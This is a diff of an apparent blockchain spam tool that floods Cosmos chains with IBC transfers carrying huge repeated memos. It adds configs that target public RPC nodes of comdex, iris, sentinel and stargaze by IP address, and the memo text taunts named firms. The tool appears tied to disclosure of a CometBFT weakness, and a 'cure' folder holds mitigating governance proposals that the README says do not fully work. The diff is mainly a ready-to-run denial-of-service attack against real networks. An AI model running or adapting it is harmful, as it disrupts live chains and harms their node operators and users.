stargaze

.gitignore

@@ -1 +1 @@
-seedphrase
+**seedphrase

broadcast.go

@@ -63,14 +63,19 @@ func sendIBCTransferViaRPC(config Config, rpcEndpoint string, chainID string, se
 	//	receiver, _ := generateRandomString()
 	token := sdk.NewCoin(config.Denom, sdk.NewInt(1))
 
-	memo := strings.Repeat("failure isn't fraud", 1000)
+	memo := strings.Repeat(config.IBCMemo, config.IBCMemoRepeat)
+
+	ibcaddr, err := generateRandomString(config)
+	if err != nil {
+		return nil, "", err
+	}
 
 	msg := types.NewMsgTransfer(
 		"transfer",
 		config.Channel,
 		token,
 		address,
-		"celestia13ln6j9u70p6r28n5zdq9a7kj98h5hjk2dtrzk7",
+		ibcaddr,
 		clienttypes.NewHeight(0, 21000000), // Adjusted timeout height
 		uint64(0),
 		memo,
@@ -88,7 +93,7 @@ func sendIBCTransferViaRPC(config Config, rpcEndpoint string, chainID string, se
 	txBuilder.SetGasLimit(gasLimit)
 
 	// Calculate fee based on gas limit and a fixed gas price
-	gasPrice := sdk.NewDecCoinFromDec(config.Denom, sdk.NewDecWithPrec(1, int64(config.Gas.Low))) // 0.1 token per gas unit
+	gasPrice := sdk.NewDecCoinFromDec(config.Denom, sdk.NewDecWithPrec(1, 0)) // 1 token per gas unit
 	feeAmount := gasPrice.Amount.MulInt64(int64(gasLimit)).RoundInt()
 	feecoin := sdk.NewCoin(config.Denom, feeAmount)
 	txBuilder.SetFeeAmount(sdk.NewCoins(feecoin))

configurations/comdex/nodes.toml

@@ -0,0 +1,34 @@
+chain = "comdex"
+channel = "channel-0"
+denom = "ucmdx"
+prefix = "comdex"
+gas_per_byte = 10
+base_gas = 100000
+ibc_memo = "Informal and Strangelove say it's not a security issue"
+ibc_memo_repeat = 100
+rand_min = 300000
+rand_max = 400000
+memo = "Informal and Strangelove say it's not a security issue"
+
+[gas]
+zero = 0
+low = 0
+medium = 0.25
+high = 0.04
+
+
+[nodes]
+rpc  = [
+    "http://65.108.101.19:24557",
+    "http://142.132.253.13:51657",
+    "http://188.214.134.118:26657",
+    "http://62.171.182.242:56657"
+
+
+
+]
+
+api = "https://comdex-api.lavenderfive.com:443"
+
+
+

configurations/iris/nodes.toml

@@ -0,0 +1,32 @@
+chain = "iris"
+channel = "channel-0"
+denom = "uiris"
+prefix = "iaa"
+gas_per_byte = 10
+base_gas = 100000
+ibc_memo = "Informal and Strangelove say it's not a security issue"
+ibc_memo_repeat = 100
+rand_min = 300000
+rand_max = 400000
+
+[gas]
+zero = 0
+low = 0.001
+medium = 0.25
+high = 0.04
+
+
+[nodes]
+rpc  = [
+    "http://89.163.225.93:26657",
+    "http://135.181.113.227:1905",
+    "http://65.108.232.168:11657",
+    "http://46.38.232.86:30657",
+    "http://65.109.94.26:36609",
+
+]
+
+api = "https://api-irisnet-01.stakeflow.io:443"
+
+
+

configurations/sentinel.toml

@@ -0,0 +1,29 @@
+chain = "sentinel"
+channel = "channel-50"
+denom = "udvpn"
+prefix = "sent"
+gas_per_byte = 150
+base_gas = 100000
+ibc-channel = "channel-0"
+ibc_memo = "Informal and Strangelove say it's not a security issue"
+rand_min = 300000
+rand_max = 400000
+
+[gas]
+zero = 0
+low = 0.1
+medium = 0.25
+high = 0.04
+
+
+[nodes]
+rpc  = [
+    "http://207.148.0.61:26657",
+    "http://188.34.151.177:26657",
+    "http://65.108.103.184:25657",
+]
+
+api = "https://sentinel-api.polkachu.com:443"
+
+
+

configurations/sentinel/nodes.toml

@@ -0,0 +1,29 @@
+chain = "sentinel"
+channel = "channel-50"
+denom = "udvpn"
+prefix = "sent"
+gas_per_byte = 150
+base_gas = 100000
+ibc_memo = "Informal and Strangelove say it's not a security issue"
+ibc_memo_repeat = 500
+rand_min = 300000
+rand_max = 400000
+
+[gas]
+zero = 0
+low = 0.1
+medium = 0.25
+high = 0.04
+
+
+[nodes]
+rpc  = [
+    "http://207.148.0.61:26657",
+    "http://188.34.151.177:26657",
+    "http://65.108.103.184:25657",
+]
+
+api = "https://sentinel-api.polkachu.com:443"
+
+
+

configurations/stargaze/nodes.toml

@@ -0,0 +1,32 @@
+chain = "stargaze"
+channel = "channel-0"
+denom = "ustars"
+prefix = "stars"
+gas_per_byte = 10
+base_gas = 100000
+ibc_memo = "Informal and Strangelove say it's not a security issue"
+ibc_memo_repeat = 100
+rand_min = 300000
+rand_max = 400000
+
+[gas]
+zero = 0
+low = 0.001
+medium = 0.25
+high = 0.04
+
+
+[nodes]
+rpc  = [
+    "http://65.108.131.62:26657",
+    "http://65.109.104.74:26657",
+    "http://65.108.141.109:8657",
+    "http://65.21.134.243:26670",
+    "http://65.108.75.107:8657",
+
+]
+
+api = "https://rest.stargaze-apis.com:443"
+
+
+

cure/Readme.md

@@ -0,0 +1,41 @@
+# Cures
+
+Assaf Morami of Secret Network has provided me with an example transaction that adjusts the maximum block size by governance.  
+
+I give him huge credit.  Both myself and Jehan Tremback were not aware this was possible. 
+
+## Note
+
+This cure doesn't seem to work.  While reducing block sizes dramatically reduces risk and I do recommend it to ensure that block gossip is not too impactful as a % of p2p traffic, it seems that this attack can be replicated with only mempool p2p traffic. 
+
+Still probably a good idea. 
+
+
+```bash
+appd tx gov submit-proposal param-change ./path/to/cure.json --from key -y -b block
+```
+
+example used on Osmosis
+
+```bash
+osmosisd tx gov submit-proposal param-change cure.json --from icns --keyring-backend file --fees 2000uosmo
+```
+
+
+
+```json
+{
+    "title": "Reduce Maximum Block Size",
+    "description": "This Proposal reduces the maximum block size pursuant to: https://github.com/cometbft/cometbft/security/advisories/GHSA-hq58-p9mv-338c",
+    "changes": [
+        {
+            "subspace": "baseapp",
+            "key": "BlockParams",
+            "value": {
+                "max_bytes": "1048576"
+            }
+        }
+    ],
+    "deposit": "100000000uatom"
+}
+```

cure/cure-sentinel.json

@@ -0,0 +1,14 @@
+{
+    "title": "Reduce Maximum Block Size",
+    "description": "This Proposal reduces the maximum block size to reduce the potential impact of spam.  github.com/notional-labs/placid",
+    "changes": [
+        {
+            "subspace": "baseapp",
+            "key": "BlockParams",
+            "value": {
+                "max_bytes": "1048576"
+            }
+        }
+    ],
+    "deposit": "500000000000udvpn"
+}

cure/cure.json

@@ -0,0 +1,14 @@
+{
+    "title": "Reduce Maximum Block Size",
+    "description": "This Proposal reduces the maximum block size pursuant to: https://github.com/cometbft/cometbft/security/advisories/GHSA-hq58-p9mv-338c",
+    "changes": [
+        {
+            "subspace": "baseapp",
+            "key": "BlockParams",
+            "value": {
+                "max_bytes": "1048576"
+            }
+        }
+    ],
+    "deposit": "100000000uatom"
+}

cure/sentinel/blocksize.json

@@ -0,0 +1,14 @@
+{
+    "title": "Reduce Maximum Block Size",
+    "description": "This Proposal reduces the maximum block size to reduce the potential impact of spam.  github.com/notional-labs/placid",
+    "changes": [
+        {
+            "subspace": "baseapp",
+            "key": "BlockParams",
+            "value": {
+                "max_bytes": "1048576"
+            }
+        }
+    ],
+    "deposit": "500000000000udvpn"
+}

cure/sentinel/bytes.json

@@ -0,0 +1,12 @@
+{
+    "title": "Increase TxSizeCostPerByte 15x",
+    "description": "This Proposal increases the cost of bytes to reduce the potential impact of spam.  github.com/notional-labs/placid",
+    "changes": [
+        {
+            "subspace": "auth",
+            "key": "TxSizeCostPerByte",
+            "value": "150"
+        }
+    ],
+    "deposit": "500000000000udvpn"
+}

nodes.toml

@@ -4,6 +4,7 @@ denom = "udvpn"
 prefix = "sent"
 gas_per_byte = 150
 base_gas = 100000
+ibc-channel = "channel-0"
 ibc_memo = "Informal and Strangelove say it's not a security issue"
 rand_min = 300000
 rand_max = 400000

types.go

@@ -115,14 +115,17 @@ type Fee struct {
 }
 
 type Config struct {
-	Chain   string `toml:"chain"`
-	Channel string `toml:"channel"`
-	Prefix  string `toml:"prefix"`
-	Bytes   int    `toml:"gas_per_byte"`
-	IBCMemo string `toml:"ibc_memo"`
-	BaseGas int    `toml:"base_gas"`
-	Denom   string `toml:"denom"`
-	Gas     struct {
+	Chain         string `toml:"chain"`
+	Channel       string `toml:"channel"`
+	Prefix        string `toml:"prefix"`
+	Bytes         int    `toml:"gas_per_byte"`
+	Memo          string `toml:"memo"`
+	IBCMemo       string `toml:"ibc_memo"`
+	IBCMemoRepeat int    `toml:"ibc_memo_repeat"`
+	IBCChannel    string `toml:"ibc_channel"`
+	BaseGas       int    `toml:"base_gas"`
+	Denom         string `toml:"denom"`
+	Gas           struct {
 		Zero   float64 `toml:"zero"`
 		Low    float64 `toml:"low"`
 		Medium float64 `toml:"medium"`